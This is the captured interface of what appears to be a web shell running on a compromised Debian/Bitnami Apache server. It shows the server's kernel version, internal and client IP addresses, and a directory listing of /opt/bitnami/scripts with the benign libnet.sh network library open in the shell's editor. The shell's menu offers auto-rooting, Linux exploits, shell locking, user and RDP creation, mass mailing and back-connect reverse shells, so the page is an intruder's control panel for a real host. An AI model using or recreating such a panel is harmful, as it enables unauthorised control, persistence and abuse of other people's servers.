Linux ip-172-26-5-244 6.1.0-28-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.119-1 (2024-11-22) x86_64
Apache
: 172.26.5.244 | : 216.73.216.21
Cant Read [ /etc/named.conf ]
8.3.14
daemon
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
opt /
bitnami /
scripts /
[ HOME SHELL ]
Name
Size
Permission
Action
apache
[ DIR ]
drwxr-xr-x
apache-lamp
[ DIR ]
drwxr-xr-x
apache-php-fpm
[ DIR ]
drwxr-xr-x
init
[ DIR ]
drwxr-xr-x
mariadb
[ DIR ]
drwxr-xr-x
php
[ DIR ]
drwxr-xr-x
php-mysql
[ DIR ]
drwxr-xr-x
phpmyadmin
[ DIR ]
drwxr-xr-x
varnish
[ DIR ]
drwxr-xr-x
apache-env.sh
3.48
KB
-rw-r--r--
bitnami-env.sh
414
B
-rw-r--r--
libapache.sh
32.36
KB
-rw-r--r--
libfile.sh
4.29
KB
-rw-r--r--
libfs.sh
4.66
KB
-rw-r--r--
liblog.sh
2.61
KB
-rw-r--r--
libmariadb.sh
46.25
KB
-rw-r--r--
libnet.sh
4.71
KB
-rw-r--r--
libos.sh
15.69
KB
-rw-r--r--
libpersistence.sh
4.6
KB
-rw-r--r--
libphp.sh
7.48
KB
-rw-r--r--
libphpmyadmin.sh
8.94
KB
-rw-r--r--
libservice.sh
14.13
KB
-rw-r--r--
libvalidations.sh
6.62
KB
-rw-r--r--
libvarnish.sh
5.75
KB
-rw-r--r--
libversion.sh
1.42
KB
-rw-r--r--
libwebserver.sh
15.05
KB
-rw-r--r--
mariadb-env.sh
8.47
KB
-rw-r--r--
php-env.sh
3.61
KB
-rw-r--r--
phpmyadmin-env.sh
5.43
KB
-rw-r--r--
varnish-env.sh
3.48
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : libnet.sh
#!/bin/bash # Copyright Broadcom, Inc. All Rights Reserved. # SPDX-License-Identifier: APACHE-2.0 # # Library for network functions # shellcheck disable=SC1091 # Load Generic Libraries . /opt/bitnami/scripts/liblog.sh . /opt/bitnami/scripts/libvalidations.sh # Functions ######################## # Resolve IP address for a host/domain (i.e. DNS lookup) # Arguments: # $1 - Hostname to resolve # $2 - IP address version (v4, v6), leave empty for resolving to any version # Returns: # IP ######################### dns_lookup() { local host="${1:?host is missing}" local ip_version="${2:-}" getent "ahosts${ip_version}" "$host" | awk '/STREAM/ {print $1 }' | head -n 1 } ######################### # Wait for a hostname and return the IP # Arguments: # $1 - hostname # $2 - number of retries # $3 - seconds to wait between retries # Returns: # - IP address that corresponds to the hostname ######################### wait_for_dns_lookup() { local hostname="${1:?hostname is missing}" local retries="${2:-5}" local seconds="${3:-1}" check_host() { if [[ $(dns_lookup "$hostname") == "" ]]; then false else true fi } # Wait for the host to be ready retry_while "check_host ${hostname}" "$retries" "$seconds" dns_lookup "$hostname" } ######################## # Get machine's IP # Arguments: # None # Returns: # Machine IP ######################### get_machine_ip() { local -a ip_addresses local hostname hostname="$(hostname)" read -r -a ip_addresses <<< "$(dns_lookup "$hostname" | xargs echo)" if [[ "${#ip_addresses[@]}" -gt 1 ]]; then warn "Found more than one IP address associated to hostname ${hostname}: ${ip_addresses[*]}, will use ${ip_addresses[0]}" elif [[ "${#ip_addresses[@]}" -lt 1 ]]; then error "Could not find any IP address associated to hostname ${hostname}" exit 1 fi # Check if the first IP address is IPv6 to add brackets if validate_ipv6 "${ip_addresses[0]}" ; then echo "[${ip_addresses[0]}]" else echo "${ip_addresses[0]}" fi } ######################## # Check if the provided argument is a resolved hostname # Arguments: # $1 - Value to check # Returns: # Boolean ######################### is_hostname_resolved() { local -r host="${1:?missing value}" if [[ -n "$(dns_lookup "$host")" ]]; then true else false fi } ######################## # Parse URL # Globals: # None # Arguments: # $1 - uri - String # $2 - component to obtain. Valid options (scheme, authority, userinfo, host, port, path, query or fragment) - String # Returns: # String parse_uri() { local uri="${1:?uri is missing}" local component="${2:?component is missing}" # Solution based on https://tools.ietf.org/html/rfc3986#appendix-B with # additional sub-expressions to split authority into userinfo, host and port # Credits to Patryk Obara (see https://stackoverflow.com/a/45977232/6694969) local -r URI_REGEX='^(([^:/?#]+):)?(//((([^@/?#]+)@)?([^:/?#]+)(:([0-9]+))?))?(/([^?#]*))?(\?([^#]*))?(#(.*))?' # || | ||| | | | | | | | | | # |2 scheme | ||6 userinfo 7 host | 9 port | 11 rpath | 13 query | 15 fragment # 1 scheme: | |5 userinfo@ 8 :... 10 path 12 ?... 14 #... # | 4 authority # 3 //... local index=0 case "$component" in scheme) index=2 ;; authority) index=4 ;; userinfo) index=6 ;; host) index=7 ;; port) index=9 ;; path) index=10 ;; query) index=13 ;; fragment) index=14 ;; *) stderr_print "unrecognized component $component" return 1 ;; esac [[ "$uri" =~ $URI_REGEX ]] && echo "${BASH_REMATCH[${index}]}" } ######################## # Wait for a HTTP connection to succeed # Globals: # * # Arguments: # $1 - URL to wait for # $2 - Maximum amount of retries (optional) # $3 - Time between retries (optional) # Returns: # true if the HTTP connection succeeded, false otherwise ######################### wait_for_http_connection() { local url="${1:?missing url}" local retries="${2:-}" local sleep_time="${3:-}" if ! retry_while "debug_execute curl --silent ${url}" "$retries" "$sleep_time"; then error "Could not connect to ${url}" return 1 fi }
Close